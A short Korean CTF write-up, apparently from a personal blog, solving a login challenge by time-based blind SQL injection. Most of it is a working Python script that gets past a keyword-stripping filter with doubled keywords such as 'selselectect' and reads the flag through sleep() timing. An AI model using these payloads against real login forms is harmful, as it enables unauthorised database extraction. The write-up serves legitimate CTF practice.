로그인 창 하나 나오는데 대충 Time Based로 구해주면 된다.
근데 입력 값 중에 몇몇 키워들이 replace 처리되고 replace로 구문이 잘못되도 딱히 에러 뿌려주고 뭐가 필터됬다 이런거 안알려줘서 조금 성가시다. 대충 replace되는 애들 테스트해서 구해보면 핵심 키워드 및 특문은 or,select,' 이다.
요고만 잘 replace우회해서 디비에 있는 플래그 읽어주면 된다.
payload
import requests
import time
def getFlag(payload):
time.sleep(1)
start = time.time()
url = "http://blackfoxs.org/radar/inj3c7/"
data = {'pass': payload}
response = requests.post(url, data=data)
end = time.time()
return end-start
strings = "_abcdefghijklmnopqrstuvwxyz0123456789}ABCDEFGHIJKLMNOPQRSTUVWXYZ"
if __name__ == "__main__":
flag = ""
for j in range(0, 100):
binary = ""
for i in range(0,len(strings)):
#payload = "999999999999999 or 1=1 and if(ascii(substring( (selselectect length(table_name) from infoselectrmation_schema.tables where table_schema=database() limit 0,1) ," + str(j) + ",1))=" + str(ord(strings[i])) + ",sleep(4),1)#"
payload = "999999999999999 or 1=1 and if(ascii(substring( (selselectect flag from flag limit 0,1) ,"+str(j)+",1))="+str(ord(strings[i]))+",sleep(4),1)#"
if getFlag(payload) > 3:
flag += strings[i]
print flag
break
print "[-]Flag Password = " + flag
'CTF > Writeup' 카테고리의 다른 글
CBM CTF 2019 Writeup (0) | 2019.04.08 |
---|---|
Midnightsun CTF 2019 Marcodowno (0) | 2019.04.07 |
Encrypt CTF 2019 Write up (0) | 2019.04.05 |
Codegate 2019 Open CTF Reversing Write up (2) | 2019.04.02 |
b00t2root CTF 2019 Web Writeup (0) | 2019.03.31 |